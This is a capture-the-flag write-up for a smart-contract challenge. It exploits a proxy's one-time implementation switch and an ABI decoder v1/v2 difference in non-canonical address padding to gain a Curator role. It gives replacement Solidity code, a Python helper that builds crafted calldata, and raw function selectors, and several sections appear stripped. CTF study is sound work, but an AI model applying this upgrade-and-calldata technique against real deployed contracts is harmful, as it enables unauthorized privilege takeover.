CTF-Writeups

House of Illusions

TL;DR

The proxy starts on an IllusionHouse implementation compiled with ABI coder v2. The admit function requires a non-canonical address encoding, but ABI decoder v2 rejects non-canonical encodings before the function body runs. So admit can never succeed on the initial implementation. The proxy has a one-time reframe that allows switching to a bytecode-hash allowlisted implementation. Deploy an allowlisted build (Solc 0.8.28, EVM Shanghai, optimizer OFF, pragma abicoder v1) so non-canonical address padding is accepted. Reframe once, then call admit with crafted calldata, then appointCurator.

Contracts

Key Bug

admit checks:

But ABI coder v2 rejects non-canonical address padding before any of those checks. So you must switch to an ABI-v1 compiled implementation where the decoder does not enforce address padding.

Solution Overview

1) Deploy allowlisted implementation (Solc 0.8.28, EVM Shanghai, optimizer OFF, pragma abicoder v1). 2) Call reframe(newImplementation) on the proxy (one time). 3) Call admit using crafted calldata (100 bytes total). 4) Call appointCurator(yourEOA). 5) Verify isSolved().

Step 1 - Deploy allowlisted implementation (Remix)

Use this exact header and code:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;
pragma abicoder v1;

contract IllusionHouse {
    enum Role { Visitor, Curator }
    mapping(address => Role) public roles;
    mapping(address => uint96) public maskRank;
    mapping(address => bool) public admitted;
    bool public opened;

    bytes32 public constant SIGIL_PREIMAGE = bytes32("0xAnan or Tensai?");
    bytes32 public constant SIGIL_HASH = keccak256(abi.encodePacked(SIGIL_PREIMAGE));

    constructor() payable {}

    function initialize(address curator) external payable {
        require(!opened, "opened");
        opened = true;
        roles[address(this)] = Role.Curator;
        admitted[address(this)] = true;
    }

    function admit(address patron, bytes calldata sigil) external {
        require(!admitted[msg.sender], "already admitted");
        require(msg.data.length == 4 + 96, "invalid sigil payload");
        require(uint256(bytes32(msg.data[36:68])) == 0x20, "invalid sigil offset");
        uint256 patronWord = uint256(bytes32(msg.data[4:36]));
        require(patronWord >> 160 != 0, "invalid patron encoding");
        require(roles[patron] == Role.Curator, "invalid patron");
        require(sigil.length == 32, "invalid sigil length");
        require(keccak256(sigil) == SIGIL_HASH, "invalid sigil");
        bytes32 sigilWord = abi.decode(sigil, (bytes32));
        uint96 rank = uint96(uint256(sigilWord) >> 160);
        admitted[msg.sender] = true;
        roles[msg.sender] = Role.Visitor;
        if (rank > 0) maskRank[msg.sender] = rank;
    }

    function appointCurator(address newCurator) external {
        require(maskRank[msg.sender] > 0, "not masked");
        roles[newCurator] = Role.Curator;
        admitted[newCurator] = true;
    }
}

Remix settings:

Deploy to Sepolia and record the new implementation address.

Step 2 - Reframe the proxy

Call reframe(address) on the proxy (house). You can use a minimal interface:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;
interface IMirrorProxy {
    function reframe(address newImplementation) external;
}

In Remix:

Step 3 - Crafted admit calldata

The function demands a 100-byte payload, where the offset word equals 0x20 and the patron word has non-zero high 96 bits.

Example layout:

0xf5b1e981 | PATRON_WORD | 0x20 | SIGIL_BYTES32

Where:

Python helper:

from Crypto.Hash import keccak

def k4(sig):
    k = keccak.new(digest_bits=256); k.update(sig.encode()); return k.digest()[:4].hex()

proxy = "0x<proxy>"
selector = k4("admit(address,bytes)")
patron_word = "11"*12 + proxy[2:].lower()
offset = "00"*31 + "20"
sigil = b"0xAnan or Tensai?".ljust(32, b"\x00").hex()

admit_data = "0x" + selector + patron_word + offset + sigil
print(admit_data)

Send a tx to the proxy with:

Step 4 - Appoint Curator

Then call:

appointCurator(yourEOA)

Selector: 0x95b2c1f9

Data:

0x95b2c1f9 + <your EOA padded to 32 bytes>

Step 5 - Check

Use the UI �Check Solution� or call Setup.isSolved().

Notes